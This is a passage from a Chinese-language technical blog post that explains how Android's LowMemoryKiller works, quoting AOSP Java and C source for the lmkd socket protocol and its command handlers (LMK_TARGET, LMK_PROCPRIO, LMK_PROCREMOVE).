data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">/frameworks/base/services/core/java/com/android/server/am/ProcessList.java</span><br><span class="line">651    public static final void remove(int pid) &#123;</span><br><span class="line">652        ByteBuffer buf = ByteBuffer.allocate(4 * 2);</span><br><span class="line">653        buf.putInt(LMK_PROCREMOVE);</span><br><span class="line">654        buf.putInt(pid);</span><br><span class="line">655        writeLmkd(buf);</span><br><span class="line">656    &#125;</span><br></pre></td></tr></table></figure></div><p>​这里携带的命令协议是LMK_PROCREMOVE，对应kernel里面的cmd_procremove函数,要求kernel干的事情是，当进程死亡了，删除&#x2F;proc&#x2F;<pid>下面的文件。</p><p>​上面三大方法最后都是通过writeLmkd与lmkd通信，现在看看writeLmkd中怎么和lmkd通信的，首先需要打开与lmkd通信的socket，lmkd创建名称为lmkd的socket，节点位于&#x2F;dev&#x2F;socket&#x2F;lmkd</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">658    private static boolean openLmkdSocket() &#123;</span><br><span class="line">659        try &#123;</span><br><span class="line">660            sLmkdSocket = new LocalSocket(LocalSocket.SOCKET_SEQPACKET);</span><br><span class="line">661            sLmkdSocket.connect(</span><br><span class="line">662                new LocalSocketAddress(&quot;lmkd&quot;,</span><br><span class="line">663                        LocalSocketAddress.Namespace.RESERVED));</span><br><span class="line">664            sLmkdOutputStream = sLmkdSocket.getOutputStream();</span><br><span class="line">665        &#125; catch (IOException ex) &#123;</span><br><span class="line">666            Slog.w(TAG, &quot;lowmemorykiller daemon socket open failed&quot;);</span><br><span class="line">667            sLmkdSocket = null;</span><br><span class="line">668            return false;</span><br><span class="line">669        &#125;</span><br><span class="line">670</span><br><span class="line">671        return true;</span><br><span class="line">672    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>当sLmkdSocket创建之后，就用它来发送数据到对端(lmkd)</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">674    private static void writeLmkd(ByteBuffer buf) &#123;</span><br><span class="line">675       //尝试三次</span><br><span class="line">676        for (int i = 0; i &lt; 3; i++) &#123;</span><br><span class="line">677            if (sLmkdSocket == null) &#123;</span><br><span class="line">678                    if (openLmkdSocket() == false) &#123;</span><br><span class="line">679                        try &#123;</span><br><span class="line">680                            Thread.sleep(1000);</span><br><span class="line">681                        &#125; catch (InterruptedException ie) &#123;</span><br><span class="line">682                        &#125;</span><br><span class="line">683                        continue;</span><br><span class="line">684                    &#125;</span><br><span class="line">685            &#125;</span><br><span class="line">686</span><br><span class="line">687            try &#123;</span><br><span class="line">688                sLmkdOutputStream.write(buf.array(), 0, buf.position());</span><br><span class="line">689                return;</span><br><span class="line">690            &#125; catch (IOException ex) &#123;</span><br><span class="line">691                Slog.w(TAG, &quot;Error writing to lowmemorykiller socket&quot;);</span><br><span class="line">692</span><br><span class="line">693                try &#123;</span><br><span class="line">694                    sLmkdSocket.close();</span><br><span class="line">695                &#125; catch (IOException ex2) &#123;</span><br><span class="line">696                &#125;</span><br><span class="line">697</span><br><span class="line">698                sLmkdSocket = null;</span><br><span class="line">699            &#125;</span><br><span class="line">700        &#125;</span><br><span class="line">701    &#125;</span><br><span class="line">702&#125;</span><br></pre></td></tr></table></figure></div><h4 id="3-1-4-小结"><a href="#3-1-4-小结" class="headerlink" title="3.1.4 小结"></a>3.1.4 小结</h4><p>​LowmemoryKiller核心原理就是Framework层通过调整adj的值和阈值数组，输送给kernel中的lmk，为lmk提供杀进程的原材料。AMS中给lmkd发送数据原材料有三个入口，对应携带的也有三种命令协议，每种协议代表内核中一种数据的控制方式，如下表：</p><table><thead><tr><th>功能</th><th>AMS对应方法</th><th>命令</th><th>内核对应函数</th></tr></thead><tbody><tr><td>LMK_PROCPRIO</td><td>PL.setOomAdj()</td><td>设置指定进程的优先级，也就是oom_score_adj</td><td>cmd_procprio</td></tr><tr><td>LMK_TARGET</td><td>PL.updateOomLevels()</td><td>更新&#x2F;sys&#x2F;module&#x2F;lowmemorykiller&#x2F;parameters&#x2F;中的minfree以及adj</td><td>cmd_target</td></tr><tr><td>LMK_PROCREMOVE</td><td>PL.remove()</td><td>移除进程</td><td>cmd_procremove</td></tr></tbody></table><h3 id="3-2-lmkd机制分析"><a href="#3-2-lmkd机制分析" class="headerlink" title="3.2 lmkd机制分析"></a>3.2 lmkd机制分析</h3><h4 id="3-2-1-lmkd的启动"><a href="#3-2-1-lmkd的启动" class="headerlink" title="3.2.1 lmkd的启动"></a>3.2.1 lmkd的启动</h4><p>跟大多数守护进程一样，lmkd 也是由 init 进程启动的：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">service lmkd /system/bin/lmkd</span><br><span class="line">    class core</span><br><span class="line">    user lmkd</span><br><span class="line">    group lmkd system readproc</span><br><span class="line">    capabilities DAC_OVERRIDE KILL IPC_LOCK SYS_NICE SYS_RESOURCE</span><br><span class="line">    critical</span><br><span class="line">    socket lmkd seqpacket+passcred 0660 system system</span><br><span class="line">    writepid /dev/cpuset/system-background/tasks</span><br><span class="line"></span><br><span class="line">on property:lmkd.reinit=1</span><br><span class="line">    exec_background /system/bin/lmkd --reinit</span><br></pre></td></tr></table></figure></div><p>这里创建的 socket lmkd 的 user&#x2F;group 都是 system，而它的权限是 0660，所以只有 system 应用才能读写（一般是 activity manager）。</p><p>接下来的 writepid 跟 Linux 的 cgroups 相关。</p><h4 id="3-2-2-lmkd的main方法"><a href="#3-2-2-lmkd的main方法" class="headerlink" title="3.2.2 lmkd的main方法"></a>3.2.2 lmkd的main方法</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">/system/core/lmkd/lmkd.c</span><br><span class="line">890int main(int argc __unused, char **argv __unused) &#123;</span><br><span class="line">891    struct sched_param param = &#123;</span><br><span class="line">892            .sched_priority = 1,</span><br><span class="line">893    &#125;;</span><br><span class="line">894</span><br><span class="line">         ......</span><br><span class="line">902</span><br><span class="line">903    mlockall(MCL_FUTURE);</span><br><span class="line">         //指定进程的调度策略, FIFO方式的实时调度策略</span><br><span class="line">904    sched_setscheduler(0, SCHED_FIFO, &amp;param);</span><br><span class="line">         //做一些初始化</span><br><span class="line">905    if (!init())</span><br><span class="line">            //进入主循环，等待AMS发送的请求</span><br><span class="line">906        mainloop();</span><br><span class="line">907</span><br><span class="line">908    ALOGI(&quot;exiting&quot;);</span><br><span class="line">909    return 0;</span><br><span class="line">910&#125;</span><br><span class="line">911</span><br></pre></td></tr></table></figure></div><h4 id="3-2-3-lmkd的数据结构"><a href="#3-2-3-lmkd的数据结构" class="headerlink" title="3.2.3 lmkd的数据结构"></a>3.2.3 lmkd的数据结构</h4><p>下面所有的代码都在lmkd.c文件中</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">48#define INKERNEL_MINFREE_PATH &quot;/sys/module/lowmemorykiller/parameters/minfree&quot;</span><br><span class="line">49#define INKERNEL_ADJ_PATH &quot;/sys/module/lowmemorykiller/parameters/adj&quot;</span><br></pre></td></tr></table></figure></div><p>minfree和adj文件分别表示水位线和水位线对应的adj。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">90/* OOM score values used by both kernel and framework */</span><br><span class="line">91#define OOM_SCORE_ADJ_MIN       (-1000)</span><br><span class="line">92#define OOM_SCORE_ADJ_MAX       1000</span><br><span class="line">93</span><br><span class="line">94static int lowmem_adj[MAX_TARGETS];</span><br><span class="line">95static int lowmem_minfree[MAX_TARGETS];</span><br></pre></td></tr></table></figure></div><p>minfree和adj文件中的值实质是来自lowmem_minfree和lowmem_adj两个数组。lowmem_minfree[]和lowmem_adj[]数组大小个数都为6。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">53enum lmk_cmd &#123;</span><br><span class="line">54    LMK_TARGET,</span><br><span class="line">55    LMK_PROCPRIO,</span><br><span class="line">56    LMK_PROCREMOVE,</span><br><span class="line">57&#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>枚举代表三种命令协议</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">105struct adjslot_list &#123;</span><br><span class="line">106    struct adjslot_list *next;</span><br><span class="line">107    struct adjslot_list *prev;</span><br><span class="line">108&#125;;</span><br><span class="line">109</span><br><span class="line">110struct proc &#123;</span><br><span class="line">111    struct adjslot_list asl;</span><br><span class="line">112    int pid;</span><br><span class="line">113    uid_t uid;</span><br><span class="line">114    int oomadj;</span><br><span class="line">115    struct proc *pidhash_next;</span><br><span class="line">116&#125;;</span><br><span class="line">117</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>在AMS中进程的数据结构是ProcessRocord，在lmkd中进程的数据结构是proc，adjslot_list是双向链表。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#define ADJTOSLOT(adj) (adj + -OOM_SCORE_ADJ_MIN)</span><br><span class="line">static struct adjslot_list procadjslot_list[ADJTOSLOT(OOM_SCORE_ADJ_MAX) + 1];</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>​procadjslot_list是一个双向的链表，数组的下标index就是<strong>进程的优先级</strong>，系统中同一个时刻，有很多进程的优先级都是相同的，那么根据指定的优先级就能从数组中获取一个链表，这个链表上的所有proc的优先级都是相同的，根据这个链表进一步选择杀掉哪些进程。由于进程的优先级可能是一个负数，所以加上了一个-OOM_SCORE_ADJ_MIN（1000）。</p><h4 id="3-2-4-lmkd的初始化"><a href="#3-2-4-lmkd的初始化" class="headerlink" title="3.2.4 lmkd的初始化"></a>3.2.4 lmkd的初始化</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">/system/core/lmkd/lmkd.c</span><br><span class="line">809static int init(void) &#123;</span><br><span class="line">810    struct epoll_event epev;</span><br><span class="line">811    int i;</span><br><span class="line">812    int ret;</span><br><span class="line">.....    </span><br><span class="line">824    //１、拿到socket的fd</span><br><span class="line">825    ctrl_lfd = android_get_control_socket(&quot;lmkd&quot;);</span><br><span class="line">826    if (ctrl_lfd &lt; 0) &#123;</span><br><span class="line">827        ALOGE(&quot;get lmkd control socket failed&quot;);</span><br><span class="line">828        return -1;</span><br><span class="line">829    &#125;</span><br><span class="line">830</span><br><span class="line">       //2、监听</span><br><span class="line">831    ret = listen(ctrl_lfd, 1);</span><br><span class="line">832    if (ret &lt; 0) &#123;</span><br><span class="line">833        ALOGE(&quot;lmkd control socket listen failed (errno=%d)&quot;, errno);</span><br><span class="line">834        return -1;</span><br><span class="line">835    &#125;</span><br><span class="line">836</span><br><span class="line">837    epev.events = EPOLLIN;</span><br><span class="line">　　　//3、ctrl_connect_handler中主要完成soclet的accpet以及数据read,当监听到socket连接事件后会调用ctrl_connect_handler方法</span><br><span class="line">838    epev.data.ptr = (void *)ctrl_connect_handler;</span><br><span class="line">839    if (epoll_ctl(epollfd, EPOLL_CTL_ADD, ctrl_lfd, &amp;epev) == -1) &#123;</span><br><span class="line">840        ALOGE(&quot;epoll_ctl for lmkd control socket failed (errno=%d)&quot;, errno);</span><br><span class="line">841        return -1;</span><br><span class="line">842    &#125;</span><br><span class="line">843    maxevents++;</span><br><span class="line">.....   </span><br><span class="line">　　　//通过判断文件是否可读来给use_inkernel_interface赋值，默认为１</span><br><span class="line"> 　　 use_inkernel_interface = !access(INKERNEL_MINFREE_PATH, W_OK);</span><br><span class="line">         //4、初始化链表</span><br><span class="line">857    for (i = 0; i &lt;= ADJTOSLOT(OOM_SCORE_ADJ_MAX); i++) &#123;</span><br><span class="line">858        procadjslot_list[i].next = &amp;procadjslot_list[i];</span><br><span class="line">859        procadjslot_list[i].prev = &amp;procadjslot_list[i];</span><br><span class="line">860    &#125;</span><br><span class="line">861</span><br><span class="line">862    return 0;</span><br><span class="line">863&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h4 id="3-2-5-lmkd的mainloop方法"><a href="#3-2-5-lmkd的mainloop方法" class="headerlink" title="3.2.5 lmkd的mainloop方法"></a>3.2.5 lmkd的mainloop方法</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">/system/core/lmkd/lmkd.c</span><br><span class="line">865static void mainloop(void) &#123;</span><br><span class="line">866    while (1) &#123;</span><br><span class="line">867        struct epoll_event events[maxevents];</span><br><span class="line">868        int nevents;</span><br><span class="line">869        int i;</span><br><span class="line">870</span><br><span class="line">871        ctrl_dfd_reopened = 0;</span><br><span class="line">          //epollfd:由epoll_create 生成的epoll专用的文件描述符；</span><br><span class="line">          //events:用于回传代处理事件的数组；</span><br><span class="line">          //maxevents:每次能处理的事件数；</span><br><span class="line">          //timeout:等待I/O事件发生的超时值(单位我也不太清楚)；-1相当于阻塞，0相当于非阻塞。一般用-1即可</span><br><span class="line">872        nevents = epoll_wait(epollfd, events, maxevents, -1);</span><br><span class="line">873</span><br><span class="line">874        if (nevents == -1) &#123;</span><br><span class="line">875            if (errno == EINTR)</span><br><span class="line">876                continue;</span><br><span class="line">877            ALOGE(&quot;epoll_wait failed (errno=%d)&quot;, errno);</span><br><span class="line">878            continue;</span><br><span class="line">879        &#125;</span><br><span class="line">880</span><br><span class="line">881        for (i = 0; i &lt; nevents; ++i) &#123;</span><br><span class="line">882            if (events[i].events &amp; EPOLLERR)</span><br><span class="line">883                ALOGD(&quot;EPOLLERR on event #%d&quot;, i);</span><br><span class="line">884            if (events[i].data.ptr)</span><br><span class="line">885                (*(void (*)(uint32_t))events[i].data.ptr)(events[i].events);</span><br><span class="line">886        &#125;</span><br><span class="line">887    &#125;</span><br><span class="line">888&#125;</span><br></pre></td></tr></table></figure></div><p>调用epoll_wait阻塞，等待socket事件的到来</p><h4 id="3-2-6-ctrl-command-handler函数对上层command的分发"><a href="#3-2-6-ctrl-command-handler函数对上层command的分发" class="headerlink" title="3.2.6 ctrl_command_handler函数对上层command的分发"></a>3.2.6 ctrl_command_handler函数对上层command的分发</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">345static void ctrl_command_handler(void) &#123;</span><br><span class="line">346    int ibuf[CTRL_PACKET_MAX / sizeof(int)];</span><br><span class="line">347    int len;</span><br><span class="line">348    int cmd = -1;</span><br><span class="line">349    int nargs;</span><br><span class="line">350    int targets;</span><br><span class="line">351    // 读取socket管道信息</span><br><span class="line">352    len = ctrl_data_read((char *)ibuf, CTRL_PACKET_MAX);</span><br><span class="line">353    if (len &lt;= 0)</span><br><span class="line">354        return;</span><br><span class="line">355</span><br><span class="line">356    nargs = len / sizeof(int) - 1;</span><br><span class="line">357    if (nargs &lt; 0)</span><br><span class="line">358        goto wronglen;</span><br><span class="line">359    // 获取buffer中的命令协议</span><br><span class="line">360    cmd = ntohl(ibuf[0]);</span><br><span class="line">361</span><br><span class="line">362    switch(cmd) &#123;</span><br><span class="line">　　　　//处理LMK_TARGET事件，设置水位线，也就是更新/sys/module/lowmemorykiller/parameters/中的minfree以及adj</span><br><span class="line">363    case LMK_TARGET:</span><br><span class="line">364        targets = nargs / 2;</span><br><span class="line">365        if (nargs &amp; 0x1 || targets &gt; (int)ARRAY_SIZE(lowmem_adj))</span><br><span class="line">366            goto wronglen;</span><br><span class="line">367        cmd_target(targets, &amp;ibuf[1]);</span><br><span class="line">368        break;</span><br><span class="line">　　　　//处理LMK_PROCPRIO事件，根据pid，设置指定进程的优先级，也就是oom_score_adj</span><br><span class="line">369    case LMK_PROCPRIO:</span><br><span class="line">370        if (nargs != 3)</span><br><span class="line">371            goto wronglen;</span><br><span class="line">372        cmd_procprio(ntohl(ibuf[1]), ntohl(ibuf[2]), ntohl(ibuf[3]));</span><br><span class="line">373        break;</span><br><span class="line">　　　　//处理LMK_PROCREMOVE事件，根据pid，移除进程，</span><br><span class="line">374    case LMK_PROCREMOVE:</span><br><span class="line">375        if (nargs != 1)</span><br><span class="line">376            goto wronglen;</span><br><span class="line">377        cmd_procremove(ntohl(ibuf[1]));</span><br><span class="line">378        break;</span><br><span class="line">379    default:</span><br><span class="line">380        ALOGE(&quot;Received unknown command code %d&quot;, cmd);</span><br><span class="line">381        return;</span><br><span class="line">382    &#125;</span><br><span class="line">383</span><br><span class="line">384    return;</span><br><span class="line">385</span><br><span class="line">386wronglen:</span><br><span class="line">387    ALOGE(&quot;Wrong control socket read length cmd=%d len=%d&quot;, cmd, len);</span><br><span class="line">388&#125;</span><br></pre></td></tr></table></figure></div><p>在init中注册了ctrl_connect_handler的回调函数，然后ctrl_connect_handler-&gt;ctrl_data_handler-&gt; ctrl_command_handler的调用，对上层的command命令进行不同的处理。</p><h4 id="3-2-7-LMK-TARGET命令—-cmd-target"><a href="#3-2-7-LMK-TARGET命令—-cmd-target" class="headerlink" title="3.2.7 LMK_TARGET命令— cmd_target"></a>3.2.7 LMK_TARGET命令— cmd_target</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">http://androidxref.com/8.0.0_r4/xref/system/core/lmkd/lmkd.c</span><br><span class="line">284static void cmd_target(int ntargets, int *params) &#123;</span><br><span class="line">285    int i;</span><br><span class="line">286</span><br><span class="line">287    if (ntargets &gt; (int)ARRAY_SIZE(lowmem_adj))</span><br><span class="line">288        return;</span><br><span class="line">289     //注释１</span><br><span class="line">290    for (i = 0; i &lt; ntargets; i++) &#123;</span><br><span class="line">291        lowmem_minfree[i] = ntohl(*params++);</span><br><span class="line">292        lowmem_adj[i] = ntohl(*params++);</span><br><span class="line">293    &#125;</span><br><span class="line">294</span><br><span class="line">295    lowmem_targets_size = ntargets;</span><br><span class="line">296　//是否使用kernel空间的处理逻辑</span><br><span class="line">297    if (use_inkernel_interface) &#123;</span><br><span class="line">298        char minfreestr[128];</span><br><span class="line">299        char killpriostr[128];</span><br><span class="line">300</span><br><span class="line">301        minfreestr[0] = &#x27;\0&#x27;;</span><br><span class="line">302        killpriostr[0] = &#x27;\0&#x27;;</span><br><span class="line">303</span><br><span class="line">304        for (i = 0; i &lt; lowmem_targets_size; i++) &#123;</span><br><span class="line">305            char val[40];</span><br><span class="line">306</span><br><span class="line">307            if (i) &#123;</span><br><span class="line">308                strlcat(minfreestr, &quot;,&quot;, sizeof(minfreestr));</span><br><span class="line">309                strlcat(killpriostr, &quot;,&quot;, sizeof(killpriostr));</span><br><span class="line">310            &#125;</span><br><span class="line">311</span><br><span class="line">312            snprintf(val, sizeof(val), &quot;%d&quot;, lowmem_minfree[i]);</span><br><span class="line">313            strlcat(minfreestr, val, sizeof(minfreestr));</span><br><span class="line">314            snprintf(val, sizeof(val), &quot;%d&quot;, lowmem_adj[i]);</span><br><span class="line">315            strlcat(killpriostr, val, sizeof(killpriostr));</span><br><span class="line">316        &#125;</span><br><span class="line">317</span><br><span class="line">318        writefilestring(INKERNEL_MINFREE_PATH, minfreestr);</span><br><span class="line">319        writefilestring(INKERNEL_ADJ_PATH, killpriostr);</span><br><span class="line">320    &#125;</span><br><span class="line">321&#125;</span><br></pre></td></tr></table></figure></div><p>注释１中的for是将参数读出来，这些参数来自与哪里呢？在上篇博客写过，其实是和下面的代码的for一一对应的，用lowmem_minfree[i] 数组保存水位线，用 lowmem_adj保存每条水位线对应的adj。其中有一个很关键的变量use_inkernel_interface，这个代表是否要使用kernel中的逻辑，默认是等于１的，意味着需要使用kernel中的逻辑，如果不等于１，那么就采用用户空间的逻辑。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">287</span><br><span class="line">288        if (write) &#123;</span><br><span class="line">289            ByteBuffer buf = ByteBuffer.allocate(4 * (2*mOomAdj.length + 1));</span><br><span class="line">290            buf.putInt(LMK_TARGET);</span><br><span class="line">291            for (int i=0; i&lt;mOomAdj.length; i++) &#123;</span><br><span class="line">292                buf.putInt((mOomMinFree[i]*1024)/PAGE_SIZE);//五个水位线</span><br><span class="line">293                buf.putInt(mOomAdj[i]);//与上面水位线对应的五个adj数值</span><br><span class="line">294            &#125;</span><br><span class="line">295            //将AMS已经计算好的值通过socket发送到lmkd</span><br><span class="line">296            writeLmkd(buf);</span><br><span class="line">297            SystemProperties.set(&quot;sys.sysctl.extra_free_kbytes&quot;, Integer.toString(reserve));</span><br><span class="line">298        &#125;</span><br><span class="line">299        // GB: 2048,3072,4096,6144,7168,8192</span><br><span class="line">300        // HC: 8192,10240,12288,14336,16384,20480</span><br><span class="line">301    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>将生成好的string写入到文件节点minfree以及adj</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">220static void writefilestring(char *path, char *s) &#123;</span><br><span class="line">221    int fd = open(path, O_WRONLY | O_CLOEXEC);</span><br><span class="line">222    int len = strlen(s);</span><br><span class="line">223    int ret;</span><br><span class="line">224</span><br><span class="line">225    if (fd &lt; 0) &#123;</span><br><span class="line">226        ALOGE(&quot;Error opening %s; errno=%d&quot;, path, errno);</span><br><span class="line">227        return;</span><br><span class="line">228    &#125;</span><br><span class="line">229</span><br><span class="line">230    ret = write(fd, s, len);</span><br><span class="line">231    if (ret &lt; 0) &#123;</span><br><span class="line">232        ALOGE(&quot;Error writing %s; errno=%d&quot;, path, errno);</span><br><span class="line">233    &#125; else if (ret &lt; len) &#123;</span><br><span class="line">234        ALOGE(&quot;Short write on %s; length=%d&quot;, path, ret);</span><br><span class="line">235    &#125;</span><br><span class="line">236</span><br><span class="line">237    close(fd);</span><br><span class="line">238&#125;</span><br><span class="line">239</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h4 id="3-2-8-LMK-PROCPRIO命令—-cmd-procprio"><a href="#3-2-8-LMK-PROCPRIO命令—-cmd-procprio" class="headerlink" title="3.2.8 LMK_PROCPRIO命令—  cmd_procprio"></a>3.2.8 LMK_PROCPRIO命令—  cmd_procprio</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 